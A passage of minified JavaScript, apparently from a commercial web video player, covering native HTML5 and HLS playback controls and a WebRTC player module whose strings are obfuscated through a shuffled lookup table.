this.isHlsLive()&&n.start>=0?n.start-n.end:0},n.prototype.isHlsLive=function(){return this.type===f.StreamType.Hls&&this.isLive()},n.prototype.timeShift=function(n,t){if(this.isTimeShiftingAllowed()&&this.isTimeShiftNecessary(n,t))if(0===n){var i=this.getSeekableRangeInternal();i.end>=0&&this.seekForLive(i.end)}else this.seekForLive(n,t)},n.prototype.isTimeShiftNecessary=function(n,t){if(t===e.STARTUP_ISSUER_NAME&&!function(n){return null!=(null==n?void 0:n.startTime)||null!=(null==n?void 0:n.startOffset)}(this.context.sourceContext.source.options))return!1;var i=Math.abs(Math.abs(n)-Math.abs(this.getTimeShift())),r=this.isOffsetConsideredAsLiveEdge(n);return i>.25&&!(this.isAtLiveEdge&&r)},n.prototype.getTimeShift=function(){var n,t;return this.shouldReturnDefaultTimeshiftValue()?0:(n=this.getSeekableRangeInternal(),n.start>=0&&this.needToUpdateTimeshiftValue()&&(t=et(this.getElement().currentTime-n.end,this.getTimeshiftRange()),this.isAtLiveEdge=this.isOffsetConsideredAsLiveEdge(t)&&!this.isStalledOrPaused(),this.currentTimeShift=this.isAtLiveEdge?0:t),isFinite(this.currentTimeShift)?this.currentTimeShift:0)},n.prototype.shouldReturnDefaultTimeshiftValue=function(){return!this.isLive()||!this.stateManager.hasBeenPlaying&&!this.stateManager.seekedOrTimeshifted||this.isAtLiveEdge},n.prototype.isStalledOrPaused=function(){return this.isStalled()||this.isPaused()},n.prototype.needToUpdateTimeshiftValue=function(){return!isFinite(this.currentTimeShift)||this.isStalledOrPaused()},n.prototype.getManifest=function(){return this.hlsManifestController?this.hlsManifestController.getManifest():null},n.prototype.getSnapshot=function(n,t){var i,r,u;if(this.isPlaying()||this.isPaused()){if(i=this.video.videoWidth,r=this.video.videoHeight,this.snapshotCanvas||(this.snapshotCanvas=document.createElement("canvas"),this.snapshotCanvas.id="snapshotHiddenCanvas"),!this.snapshotCanvas||!this.snapshotCanvas.getContext||!this.snapshotCanvas.getContext("2d"))return;this.snapshotCanvas.height=r;this.snapshotCanvas.width=i;this.snapshotCanvasContext=this.snapshotCanvas.getContext("2d");this.snapshotCanvasContext.drawImage(this.video.getWrappedElement(),0,0,i,r);u=void 0;try{"image/jpeg"===n||"image/webp"===n?(Number(t)===t?(t<0||t>1)&&(t=1):t=1,u=this.snapshotCanvas.toDataURL(n,t)):u=this.snapshotCanvas.toDataURL(n,t)}catch(n){return void(n&&n.message?this.logger.debug("Snapshot acquisition failed: "+n.message):this.logger.debug("Snapshot acquisition failed"))}return{height:r,width:i,data:u}}},n.prototype.setPlaybackSpeed=function(n){this.getElement().playbackRate=n},n.prototype.getPlaybackSpeed=function(){return this.getElement().playbackRate},n.prototype.permitControl=function(n){this.controlPermitted=n},n.prototype.resetTimeShift=function(){this.currentTimeShift=-1/0;this.isTimeShiftingAllowed()&&(this.isAtLiveEdge=!1)},n.prototype.isOffsetConsideredAsLiveEdge=function(n){return Math.abs(n)<2*this.settings.SEEK_TO_END_OFFSET},n.prototype.isSeekTargetChangedDuringStartup=function(){return this.seekTargetTime!==this.lastVerifiedPlaybackPosition&&this.lastSeekIssuer===e.STARTUP_ISSUER_NAME},n.prototype.maybeHandleSeekTargetChangeDuringStartup=function(){this.isSeekTargetChangedDuringStartup()&&(this.context.logger.debug("Seek target changed during startup..."),this.triggerSeekEvent(this.seekTargetTime),this.lastSeekIssuer="api",this.seekTargetTime=-1)},n.prototype.finishedSeekedTransitionState=function(){this.stateManager.isSeeking()&&(this.stateManager.transitionToSeekedState(this.lastSeekIssuer!==e.STARTUP_ISSUER_NAME),this.lastSeekIssuer="api");this.stateManager.isTimeShifting()&&this.stateManager.transitionToTimeShiftedState(this.lastSeekIssuer!==e.STARTUP_ISSUER_NAME)},n.prototype.addEventListeners=function(n){for(var i,t=0;t<this.elementEvents.length;t++)i=this.elementEvents[t].elementSelector?this.elementEvents[t].elementSelector(n):n,i&&i.addEventListener(this.elementEvents[t].event,this.elementEvents[t].handler)},n.prototype.removeEventListeners=function(n){for(var i,t=0;t<this.elementEvents.length;t++)i=this.elementEvents[t].elementSelector?this.elementEvents[t].elementSelector(n):n,i&&i.removeEventListener&&i.removeEventListener(this.elementEvents[t].event,this.elementEvents[t].handler)},n.prototype.getBufferLevel=function(n){var i={level:null,targetLevel:null,type:n,media:f.MediaType.Video},t=this.getElement(),r,u;if(!t.buffered||t.buffered.length<1)return i;if(r=function(r){for(var e,o,u=0;u<t.buffered.length;u++)e=t.buffered.start(u),o=t.buffered.end(u),e>r||o<=r||(i.level=o-r,n===f.BufferType.BackwardDuration&&(i.level=r-e))},u=t.currentTime,r(u),null==i.level){var e=function(n,t){for(var f,r=n.buffered.start(0),u=Math.abs(r-t),i=1;i<n.buffered.length;i++)f=Math.abs(n.buffered.start(i)-t),f<u&&(u=f,r=n.buffered.start(i));return{distanceToCurrentTime:u,closestBufferStart:r}}(t,u),s=e.distanceToCurrentTime,o=e.closestBufferStart;s<1&&(this.context.logger.debug("Adjusting buffer level to closest buffer range ",o),r(o))}return i},n.prototype.createTextTrackController=function(){if(d.ModuleManager.has(p.ModuleName.SubtitlesNative))return new(d.ModuleManager.get(p.ModuleName.SubtitlesNative).TextTrackController)(this.context,this.video,this.config,this.type);this.logger.log("Unable to create native SubtitleController because the ".concat(p.ModuleName.SubtitlesNative," module is missing"))},n.prototype.removeSubtitle=function(n){n&&this.textTrackController&&this.textTrackController.removeSubtitle(n)},n.prototype.addSubtitle=function(n){return this.textTrackController?(this.removeSubtitle(n.id),n.kind="subtitles",this.textTrackController.addSubtitle(n)):Promise.reject()},n.prototype.listSubtitles=function(){return this.textTrackController?this.textTrackController.getAvailableSubtitles():[]},n.prototype.enableSubtitle=function(n){return this.textTrackController?this.textTrackController.enableSubtitle(n):Promise.resolve(!1)},n.prototype.disableSubtitle=function(n){return this.textTrackController?Promise.resolve(this.textTrackController.disableSubtitle(n)):Promise.resolve(!1)},n.prototype.adjustUrlForQueryParams=function(n){return it.URLHelper.appendQueryParametersToUrl(n,this.settings.QUERY_PARAMETERS)},n.prototype.onFullscreenEnter=function(n){this.textTrackController&&h.getCapabilities().isIOS&&!n.legacy&&this.textTrackController.enableNative()},n.prototype.onFullscreenExit=function(){this.textTrackController&&h.getCapabilities().isIOS&&this.textTrackController.disableNative()},n.prototype.getAvailableVideoQualities=function(){var n=this;return"progressive"!==this.type?[]:this.availableVideoStreams.map(function(t){return n.createVideoQualityObject(t)})},n.prototype.getBufferedRanges=function(){var n=this;return b.getBufferedRanges(this.getElement()).map(function(t){return b.convertRangeToTimeMode(t,n.getStartDate(),f.TimeMode.AbsoluteTime)})},n.prototype.setVideoQuality=function(n){var r,t=this,l=this.getPlaybackSpeed(),s=this.availableVideoStreams.find(function(t){return t.id===n}),c,f,i;"progressive"===this.type&&s&&(!this.currentVideoStream||this.currentVideoStream.id!==n)&&(this.isProgressiveQualityChange=!0,this.currentTimeWas=this.getCurrentTime(),this.availableVideoStreams=[],this.allowedToThrowEvents=!1,c=this.stateManager.isPlaying()||this.stateManager.isPlay(),this.stateManager.stallEnter(),this.unload("api",!0).catch(function(){}),f=this.createVideoQualityObject(s),i={sourceQuality:this.currentVideoStream,sourceQualityId:this.currentVideoStream?this.currentVideoStream.id:null,targetQuality:f,targetQualityId:f.id},this.eventHandler.one(u.PlayerEvent.StallEnded,function(){t.allowedToThrowEvents=!0;h.getCapabilities().isIOS||h.getCapabilities().isSafari?(t.numTimeChanged=0,t.eventHandler.on(u.PlayerEvent.TimeChanged,t.delayedSeek)):(t.numTimeChanged=1/0,t.delayedSeek());c&&(t.play(e.INTERNAL_ISSUER_NAME).catch(function(){t.eventCallback(u.PlayerEvent.Warning,new ht.PlayerWarning(ct.WarningCode.PLAYBACK_COULD_NOT_BE_STARTED))}),t.stateManager.transitionToPlayingState(e.INTERNAL_ISSUER_NAME,!1))}),this.eventCallback(u.PlayerEvent.VideoQualityChanged,o({},i),!0),null===(r=this.airplayService)||void 0===r||r.initAirplay(),this.load(this.sourceConfig,this.settings.GLOBAL_DISABLE_SEEKING,n).then(function(){t.setPlaybackSpeed(l);t.eventCallback(u.PlayerEvent.VideoDownloadQualityChange,o({},i),!0);t.eventCallback(u.PlayerEvent.VideoDownloadQualityChanged,o({},i),!0);t.eventCallback(u.PlayerEvent.VideoPlaybackQualityChanged,{sourceQuality:i.sourceQuality,targetQuality:i.targetQuality},!0)}))},n.prototype.isAirplayAvailable=function(){var n,t;return null!==(t=null===(n=this.airplayService)||void 0===n?void 0:n.isAirplayAvailable())&&void 0!==t&&t},n.prototype.isAirplayActive=function(){var n,t;return null!==(t=null===(n=this.airplayService)||void 0===n?void 0:n.isAirplayActive())&&void 0!==t&&t},n.prototype.showAirplayTargetPicker=function(){var n;null===(n=this.airplayService)||void 0===n||n.showAirplayTargetPicker()},n.prototype.getTimeshiftRange=function(){return this.isLive()?{start:this.getMaxTimeShift(),end:0}:{start:-1,end:-1}},n.prototype.getSeekableRangeInternal=function(){var t=this.video.seekable,n;return t.length>0?(n={start:t.start(0),end:t.end(0)},n.start=Math.max(0,n.start),n):{start:-1,end:-1}},n.prototype.getSeekableRange=function(){if(!this.isLive()||this.settings.ENABLE_SEEK_FOR_LIVE){var n=this.getStartDate(),t=this.getSeekableRangeInternal();return n?b.convertRangeToTimeMode(t,n,f.TimeMode.AbsoluteTime):t}return{start:-1,end:-1}},n.prototype.createManifestApi=function(){return this.hlsManifestController?ni.NativePlayerManifestApiFactory.create(this.hlsManifestController):null},n.prototype.release=function(){var t,n=this,i=this.unload("api").catch(function(){});return clearTimeout(this.loadTimeoutID),i=i.then(function(){n.type=null;n.config=null;n.eventHandler=null;n.settings=null;n.currentTimeWas=null;n.snapshotCanvas=null;n.snapshotCanvasContext=null;n.audio=null;n.video=null;n.lastPlayIssuer=null;n.lastPauseIssuer=null;n.lastSeekIssuer=null;n.currentSource=null;n.sourceConfig=null;n.currentVideoStream=null;n.availableVideoStreams=null;n.sourceElementEventListeners=null}),null===(t=this.airplayService)||void 0===t||t.dispose(),this.textTrackController&&this.textTrackController.dispose(),this.textTrackController=null,this.fpsHandler&&this.fpsHandler.dispose(),this.fpsHandler=null,this.downloadErrorHandler&&this.downloadErrorHandler.dispose(),this.downloadErrorHandler=null,this.hlsManifestController&&this.hlsManifestController.dispose(),this.hlsManifestController=null,i},n.prototype.setQueryParameters=function(n){this.settings.QUERY_PARAMETERS=n},n.prototype.clearQueryParameters=function(){this.settings.QUERY_PARAMETERS=void 0},n.prototype.setAudioQuality=function(){},n.prototype.setTargetBufferLevel=function(){},n.prototype.getAvailableAudioQualities=function(){return[]},n.prototype.getDroppedVideoFrames=function(){return 0},n.prototype.getTotalStalledTime=function(){return 0},n.prototype.updateCallback=function(){},n.prototype.getAvailableSegments=function(){return{}},n.prototype.getLatency=function(){return null},n.prototype.setTargetLatency=function(){},n.prototype.getTargetLatency=function(){return null},n.prototype.setCatchupConfig=function(){},n.prototype.getCatchupConfig=function(){return null},n.prototype.setFallbackConfig=function(){},n.prototype.getFallbackConfig=function(){return null},st([at.trackPerformance("NativePlayer.load",!0)],n.prototype,"load",null),n}();t.NativePlayer=ti},55194:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.NativePlayerManifestApiFactory=void 0;var r=i(42283),u=function(){function n(){}return n.create=function(t){var i=t.getParsedManifest();return t.isValidMasterPlaylist(i)?new function(){this.hls=n.createHlsApi(t)}:null},n.createHlsApi=function(t){var i=t.getParsedManifest(),r=i.media.filter(function(n){return"AUDIO"===n.attributes.TYPE}),u=i.media.filter(function(n){return"SUBTITLES"===n.attributes.TYPE||"CLOSED-CAPTIONS"===n.attributes.TYPE});return new(function(){function f(){this.properties=t.getParsedManifest().tags}return f.prototype.getVideoTracks=function(){return n.getVideoTracks(i.playlists)},f.prototype.getAudioTracks=function(){return n.getAudioTracks(r,i.playlists)},f.prototype.getTextTracks=function(){return n.getTextTracks(u)},f}())},n.getAudioTracks=function(n,t){var u=n.reduce(function(n,t){return n[t.attributes.LANGUAGE]||(n[t.attributes.LANGUAGE]=t.attributes.NAME),n},{}),i=Object.keys(u).map(function(t,i){return{id:"audio-".concat(i),label:u[t],lang:t,getQualities:function(){return n.filter(function(n){return n.attributes.LANGUAGE===t}).map(function(n,t){return{id:t+"",bitrate:0,label:n.attributes.NAME}})}}}),f=function(n){return n.attributes.CODECS&&r.CodecStringHelper.getMimeTypeForCodecString(n.attributes.CODECS).includes("audio")};return t.some(f)&&i.push({id:"audio-".concat(i.length),label:"und",lang:"",getQualities:function(){return t.filter(f).map(function(n,t){return{id:t+"",bitrate:n.attributes.BANDWIDTH,codec:r.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS).audio}})}}),i},n.getVideoTracks=function(t){var i=t.filter(function(n){return!n.attributes.CODECS||r.CodecStringHelper.getMimeTypeForCodecString(n.attributes.CODECS).includes("video")});return[{id:"video-0",label:"und",getQualities:function(){return n.getVideoQualities(i)}}]},n.getTextTracks=function(n){return n.map(function(n,t){return{id:"text-".concat(t),label:n.attributes.NAME,lang:n.attributes.LANGUAGE,isFragmented:!0,kind:"CLOSED-CAPTIONS"===n.attributes.TYPE?"caption":"subtitle",url:n.attributes.URI}})},n.getVideoQualities=function(n){return n.map(function(n){var f=n.attributes.RESOLUTION&&n.attributes.RESOLUTION.width,t=n.attributes.RESOLUTION&&n.attributes.RESOLUTION.height,u={id:t?"".concat(t,"_").concat(n.attributes.BANDWIDTH):"".concat(n.attributes.BANDWIDTH),bitrate:n.attributes.BANDWIDTH,width:f||0,height:t||0},i;return n.attributes.CODECS&&(i=r.CodecStringHelper.getExtractedCodecStrings(n.attributes.CODECS),i.video&&(u.codec=i.video)),u})},n}();t.NativePlayerManifestApiFactory=u},96926:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.TechnologyChecker=void 0;var r=i(33696),u=function(){function n(){}return n.prototype.getSupportedTechnologies=function(){return[{player:r.PlayerType.Native,streaming:r.StreamType.Progressive},{player:r.PlayerType.Native,streaming:r.StreamType.Hls},{player:r.PlayerType.Native,streaming:r.StreamType.Dash}]},n}();t.TechnologyChecker=u}},function(n){return n(n.s=42966)}])},87:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);(r=function(n,t){for(var f,u=4171,r=[],i=0;i<u;i++)r[i]='glktstRee%leadtCedacenxpOje:ecSstssaWoeopuolHl%Dydmg%neopabtIclioofneeaMedytpieScPttre%AgsaeTu%TEcanokdgerlam%SBfenmslltseaiC toOododN%%ance%St%pencotEcodyTdfARti%rdlsooesoTtIrbu%CcteCTtybnhidc epc%lebacogueeteaM Tekent%mardHireWaronSnTe%dri%a ieLlhceeoeistr%ri0let%fLeWeStr%otMehecugieg%oen-vrndeapeofe%aQiieVaMiueattrd%lhsnArtttdlTdifa%H%miveutb%dt%iorttin%imWanaule fcr mn%ol dlhedae%o: dseuDirbroeCcns%tdirtstiPAdeusccegrglaiiteororvaGL ieaealoncg%rStiR%cCct%rafAsktRtaa%CEi%kmer%iaSgelMiescfst nudAucoaeawMndSeroyelegfalSeeLig%ciy.t_tautErrdalnEegSpn.gceihdli%aiegtedt_rgetoatesitdli%igedEhvaFeiostnviLsraaioaD%ianninstpttiIt%eposeutndaonmnunaietiWEvaiSid"gsdeWatetoasCtss%%eC tuotide%e nib%FllTtRndfeTit%ce%logeciRtVgnoeioleneeutebAvak%nteCtCeigct%tet rp%sVtovoitbnhgP t%eQW%gHtanolhelemRS%eate%lwogCnnsdvIyFpumvutaoprseWnbgdtrItineecdgaerl%o%iphUt:%%dirpp%aatcestMa BiGcctccT%a%n:il egieseaeinnnoctg%a%iLestosdaalrStAPtece%cLPeetefemsWafsqit%teatvsiLe%tutttptCheaiLvT donaEMbuT%%adtedrpvoop%oelPrcc%eilbiCe%%idcee tbcuaerigae%cn%rEca_harlm%arBo%ieeyLwC%Aar%rsneenctitRooSh%egtAwomle%efufr%intt%pv:isnolstdrdaR gsTmtobcmsDponvIndogAws%eD2Seaneaeo%ybBWkcxlctDataEvodDetTAgoeiRaasotU atn%ac%sdyketuaLrnoeria%eett%LWajtHrrce%RWeliuarQctoact%%Gz%CffevnauaiolucyDoedenaotoie dPePy:ngsEedVesofoMseRbmccTrtveoeereeqeneniati%PpegEPgle%ogitetauc3enlameeSagnddCve%rdTm ie%ihTim%kpiydeuTepd%de%ioieemmi%sametaCd oPaoc%rwRitbhvtec%HmPd% TorRoenyCd%nuSiatrsp%Vse%n%toedeetiD t%eoe%eeerxiaunSpclRTheeastternoQhlitcp%oRae%%E%DTtiieigpTmcR%syaifeoieictcnqemlisocnSpncoeOs_aF%la%gsCCtsgPCtolfesWarkoi%ntwk%rdlleinkd ieLeynsatreu%utmceQotCeuiep%%eEieanst_a%ngocTo  DitendnrtW%ceSe beeiSont%neteao0teisRsosayayl%rin%pce%topnasste%ygtc.PrttelontnedetiU0eMeEo%PEthtetaaStgolnecaaEenesCdmoRrceLrso%eetehue%deoognlr bdoh%%ng%te%emoiCtfAdepgerieesTf Vm%WercsibrearinRecs ntrsomltOeeL siryCn%eRbtTataaRaI%eu%uocCmlucedofafaeiGlaie ftinAoaadanulPrapcraeipeatyciNavuasCneeSoeC%puTht mTCartRahtRtT  eod po%icsgitP%fernoe:lVhetoS%emh%r%udoTKOeeecae%nlisenedceeecmu%docctedVe (aioihr%maTittereyh%lgpcdrarhdsPelbeGeyi% hav_SdvkcetnlrecIramWsueGitxsedoacFeconi egef%l%gle htsCtlsftlorntlIEppmoe%%Tanetsnratomlmt%ie%emsloTet%lddnaW%ldoe)Epp%d%eeheele%nsrebotrntug:Vunaieeetniadlite cns cedAdn wRiee%eXdobu%rItotonpoeene-eysmtktn_nErRncghmtmw"a%t"E%glTo%reiSrteai nRee%aedS.Evrch%iohn:beuc.rPelorag.eodi%9tiSHrCittenmrcCieTtrcr eitaElooauetEeitjil voCoeeEeoepra)dnairtntsnglrloecydeeeetE%ucta%urtlnrern%eoracEnAiipnee%eiRlpuim%ngcihc%malpUavheiFd%ad a%citeeogecurbotadgtiutRstdCnnfCxet%g%ancVsoieeyCrnR%oQsnnqauyeTh o%ierhpktOennasiefnr-% resdoetclrega%ucteudbirueend%ibEAso %fWeronb%sodmgtotieELeA%oEIeeaRvacthdtti uewneg%r%naep%EieuUrnagipdETirTesreEp eeettPnritNtTutilge%relsiedhoeeaQnri%taVelvtmubtngntAutemtCSaTi neeiEWyLafb:Penahtrn% lgorsene%SslfietkeryrsEtRaeireySstnTlraIdWd%arbC%eapeUP elfahisilnt%tsc td%dgi%is%atsdRahtlaar%ioaeeeaeuloiliaiegaa%nriGEyaenibpileoEmovetxr%ceGerot%ioahRw1ieynofTe%eneenEitmpderee_m SrtaibTi%tT%tolunaorTcIpreAAc%rrruIe.paesTceePFs%EVcrgg%pSnenn%dQ%dmnvecSCdeoant%eter%elteketlsuyoaunnEwtWeegcceihlpWvnbFrteytec stegPvfRtaeCcae(E tpdo%sl iiCadoitdvtgcl%ut nhweteaidnP%Ineettg%r%agSon%soelyletdRtso eOaioa%pSler%oedlteeToedmuH TDvvso%Aea  ognleCsbCnCcReSRifb "lSofilieft%ei%e TuuchmtFlnrndRtllta %oec%Site%iasknehncnvftvmu,Ndt%ArsyNeEgcied2lhesvy%Ogm%ogtsnnsnnmet%saelotelttlif%cdeearToec%ltsUepsavgyrRunhlntrs_iccePsoefr%tsTleecmedHsPSovi%aretaqadgtdl%pgdsetopnoLPtnhulnrpgO%vleprb teateeebDt_OrperRW%Ieinucvl Sdl%eaoevpssyetv%vectongrehadyto%nvyatytbanraspycr%retrdchtedcnsScplueti%eppeiTOefdrkiniRrnaeos%iDnue%bninodervoSDn%sdeRieetwelaedtnpcdidnrc%fShfMbdEeecss%fersPtededeiurceeah%alreii%T FTotWv t%eteAurdensponet%attsitonrDcadnr%eTrtdutEne%treirsntfcaiLeeolU%etseeaeptc tCsouxonhaseeuedWaIosy%etaaeotaanWMntaeua%uBrIauSctaaaQtEemTHdOynrduF%b_%%ylN %a.ePtosticegtrnemitPtnoVEcegahtvtT%rpPaTsr%setktnBemA%nki_cASenouEsfnrrpvtgrWHePe%ii_Ws S%%ouuenseihfeii%eiomt% ribW nssf%naS eoPrs gdps%rukn%%%tEraculinWPknfnmlSreegnbeetanoaei%wH%PpoeatruoeDrEvdeyageeCral%plsdeaeaPir/.ebgtebteunibipbeniA%nvaee%%,qsedIarxpeeDdm%OndPiut:2ocdrntatg-oscptnHsns%rr%op%lttcr'.charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,2408780))[0];u=self;f=function(){return(self[r[278]]=self[r[278]]||[])[r[131]]([[497],{60480:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0;var u=i(16368),f=i(75180),e=i(92429);t[r[3]]={name:u[r[5]][r[4]],module:{WebRtcPlayer:e[r[6]],technologyChecker:new f[r[7]]}};t[r[8]]=t[r[3]]},75180:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[7]]=void 0;var u=i(33696),f=function(){function n(){}return n[r[10]][r[9]]=function(){return[{player:u[r[12]][r[11]],streaming:u[r[14]][r[13]]}]},n}();t[r[7]]=f},92429:function(n,t,i){function u(){}function f(){return null}Object[r[2]](t,r[1],{value:!0});t[r[6]]=void 0;var h=i(25550),c=i(28764),l=i(18665),o=i(62510),a=i(33696),v=i(43485),e=i(46462),y=i(30875),s=r[15],p=function(){function n(n){var t=this;if(this[r[16]]=n,this[r[17]]=u,this[r[18]]=u,this[r[19]]=u,this[r[20]]=u,this[r[21]]=u,this[r[22]]=u,this[r[23]]=u,this[r[24]]=u,this[r[25]]=u,this[r[26]]=u,this[r[27]]=u,this[r[28]]=u,this[r[29]]=u,this[r[30]]=u,this[r[31]]=u,this[r[32]]=u,this[r[33]]=u,this[r[34]]=f,this[r[35]]=f,this[r[36]]=f,this[r[37]]=f,this[r[38]]=f,this[r[39]]=f,this[r[40]]=f,this[r[41]]=function(){return t[r[42]][r[41]]()},this[r[43]]=function(){return!1},this[r[44]]=function(){return!t[r[42]][r[45]]},this[r[46]]=function(){return t[r[42]][r[45]]},this[r[47]]=function(){return t[r[42]][r[48]]},this[r[49]]=function(){return t[r[42]][r[50]]},this[r[51]]=function(){return!1},this[r[52]]=function(){return!0},this[r[53]]=function(){return 100*t[r[42]][r[54]]},this[r[55]]=function(){return t[r[42]][r[56]]},this[r[57]]=function(){return 1/0},this[r[58]]=function(){return[]},this[r[59]]=function(){return[]},this[r[60]]=function(){return t[r[42]][r[61]]},this[r[62]]=function(){return 0},this[r[63]]=function(){return[]},this[r[64]]=function(){return 0},this[r[65]]=function(){return 0},this[r[66]]=function(){return Promise[r[67]]()},this[r[68]]=function(){return Promise[r[69]](!1)},this[r[70]]=function(){return Promise[r[69]](!1)},this[r[71]]=function(){return[]},this[r[72]]=function(){return[]},this[r[73]]=function(){},this[r[74]]=function(){var n,i;return null!==(i=null===(n=t[r[42]])||void 0===n?void 0:n[r[75]])&&void 0!==i?i:1},this[r[76]]=function(){return!1},this[r[77]]=function(){return!1},this[r[78]]=function(){return{start:-1,end:-1}},this[r[79]]=function(){return{}},this[r[80]]=function(){return{id:s,bitrate:0,height:0,width:0,isAuto:!0}},this[r[81]]=function(){return{id:s,bitrate:0,isAuto:!0}},this[r[82]]=function(){return{id:s,bitrate:0,height:t[r[42]][r[83]],width:t[r[42]][r[84]]}},this[r[85]]=function(){return{id:s,bitrate:0}},this[r[86]]=this[r[85]],this[r[87]]=this[r[82]],this[r[88]]=function(n,t){return{level:null,targetLevel:null,type:n,media:null!=t?t:a[r[90]][r[89]]}},this[r[91]]=function(){var n;null===(n=t[r[92]])||void 0===n||n[r[94]](r[93])},this[r[95]]=function(){var n;null===(n=t[r[92]])||void 0===n||n[r[96]](!0,r[93])},this[r[97]]=function(){t[r[16]][r[101]][r[100]](o[r[99]][r[98]],{time:t[r[42]][r[56]]})},this[r[102]]=function(){var n,i;if(r[103]===(null===(n=t[r[104]])||void 0===n?void 0:n[r[105]])){if(t[r[16]][r[108]][r[107]](r[106]),t[r[104]][r[109]](),t[r[110]]<=0)return void t[r[16]][r[101]][r[114]](new c[r[113]](h[r[112]][r[111]],void 0,r[106]));t[r[16]][r[108]][r[107]](r[117][r[116]](t[r[110]],r[115]));t[r[120]]()[r[119]](function(n){return t[r[16]][r[108]][r[107]](r[118],n)});t[r[110]]--}else r[121]===(null===(i=t[r[104]])||void 0===i?void 0:i[r[105]])&&(t[r[16]][r[108]][r[107]](r[122]),t[r[110]]=2)},this[r[123]]=function(){void 0!==t[r[104]]&&(t[r[104]][r[109]](),t[r[42]][r[124]]=null,t[r[104]]=t[r[125]](),t[r[127]][r[126]](t[r[104]]),t[r[127]][r[120]]()[r[119]](function(n){return t[r[16]][r[108]][r[107]](r[128],n)}))},this[r[129]]=function(){var i,n;void 0!==t[r[104]]&&(n=0,null===(i=t[r[104]])||void 0===i||i[r[145]](null)[r[144]](function(i){var u=[];i[r[136]](function(t){u[r[131]](t);t[r[134]][r[133]](r[132])&&(n+=t[r[135]])});t[r[16]][r[108]][r[107]](r[137],u);n<=t[r[135]]?(t[r[138]]+=t[r[139]],!1===t[r[140]]&&t[r[138]]>=t[r[141]]&&(t[r[16]][r[108]][r[107]](r[142]),t[r[140]]=!0)):(t[r[135]]=n,t[r[138]]=0,!0===t[r[140]]&&(t[r[16]][r[108]][r[107]](r[143]),t[r[140]]=!1))})[r[119]](function(n){return t[r[16]][r[108]][r[107]](r[130],n)}))},this[r[146]]=function(n){for(var i,u=0,f=n[r[147]];u<f[r[148]];u++)i=f[u],r[149]===i[r[150]]||t[r[42]][r[124]]||(t[r[16]][r[108]][r[107]](r[156][r[116]](i[r[150]],r[155])[r[116]](i[r[153]]()[r[148]],r[154])[r[116]](i[r[151]]()[r[148]],r[152])),t[r[42]][r[124]]=i)},void 0===this[r[16]][r[157]])throw new c[r[113]](h[r[112]][r[158]]);this[r[135]]=0;this[r[138]]=0;this[r[140]]=!1;this[r[42]]=this[r[16]][r[157]];this[r[110]]=2;this[r[139]]=2e3;this[r[141]]=3e4;this[r[159]]=[{urls:r[160]}]}return n[r[10]][r[161]]=function(){this[r[42]][r[163]](e[r[162]][r[41]],this[r[95]]);this[r[42]][r[163]](e[r[162]][r[164]],this[r[91]]);this[r[42]][r[163]](e[r[162]][r[165]],this[r[97]])},n[r[10]][r[166]]=function(){this[r[42]][r[167]](e[r[162]][r[41]],this[r[95]]);this[r[42]][r[167]](e[r[162]][r[164]],this[r[91]]);this[r[42]][r[167]](e[r[162]][r[165]],this[r[97]])},n[r[10]][r[168]]=function(n){return r[169]!=typeof n[r[170]]?Promise[r[67]](r[171]):(this[r[161]](),this[r[110]]=2,this[r[172]]=n[r[170]],this[r[120]]())},n[r[10]][r[173]]=function(){var n={iceServers:this[r[159]]};return v[r[174]]()&&(n[r[175]]=r[176]),n},n[r[10]][r[125]]=function(){var n=new RTCPeerConnection(this[r[173]]());return n[r[177]]=this[r[102]],n[r[178]]=this[r[146]],n},n[r[10]][r[120]]=function(){return this[r[104]]=this[r[125]](),void 0===this[r[172]]?Promise[r[67]](new c[r[113]](h[r[112]][r[179]])):(void 0!==this[r[127]]&&this[r[127]][r[180]](),this[r[127]]=new y[r[181]](this[r[16]],this[r[104]],this[r[172]],this[r[123]]),this[r[182]]=window[r[183]](this[r[129]],this[r[139]]),this[r[127]][r[120]]())},n[r[10]][r[184]]=function(){var n;clearInterval(this[r[182]]);this[r[127]][r[180]]();null===(n=this[r[104]])||void 0===n||n[r[109]]();this[r[42]][r[124]]=null;this[r[42]][r[168]]()},n[r[10]][r[185]]=function(){var n;return null===(n=this[r[92]])||void 0===n||n[r[186]](!0,r[93]),this[r[42]][r[185]]()},n[r[10]][r[187]]=function(){this[r[42]][r[50]]||(this[r[42]][r[50]]=!0,this[r[16]][r[101]][r[100]](o[r[99]][r[188]]))},n[r[10]][r[189]]=function(){this[r[42]][r[50]]&&(this[r[42]][r[50]]=!1,this[r[16]][r[101]][r[100]](o[r[99]][r[190]]))},n[r[10]][r[191]]=function(){this[r[184]]()},n[r[10]][r[192]]=function(n){var t=this[r[53]]();this[r[42]][r[54]]=Math[r[193]](n/100,1);this[r[16]][r[101]][r[100]](o[r[99]][r[194]],{sourceVolume:t,targetVolume:n})},n[r[10]][r[195]]=function(){return this[r[92]]=this[r[16]][r[199]][r[198]](l[r[197]][r[196]]),Promise[r[69]]()},n[r[10]][r[200]]=function(){var n=null!==this[r[42]][r[124]];return this[r[166]](),this[r[184]](),n&&this[r[16]][r[101]][r[100]](o[r[99]][r[201]]),Promise[r[69]]()},n[r[10]][r[202]]=function(n){this[r[42]][r[75]]=n},n[r[10]][r[203]]=function(){return this[r[166]](),this[r[191]](),this[r[200]]()},n}();t[r[6]]=p},30875:function(n,t,i){var s;Object[r[2]](t,r[1],{value:!0});t[r[181]]=void 0;var u,o=i(25550),e=i(28764),h=i(88005),f=i(67345),c={"Content-Type":r[204]};!function(n){n[n[r[205]]=0]=r[205];n[n[r[206]]=1]=r[206]}(u||(u={}));s=function(){function n(n,t,i,f){var s=this;this[r[16]]=n;this[r[172]]=i;this[r[207]]=f;this[r[208]]=function(){s[r[209]]=!0;s[r[210]]=window[r[212]](s[r[211]],2e3)};this[r[213]]=function(n){if(r[214]===n[r[134]]){var t=n[r[215]];t&&s[r[16]][r[108]][r[107]](r[216],t[r[215]])}};this[r[217]]=function(n){s[r[16]][r[108]][r[107]](r[218],n);var t=n instanceof 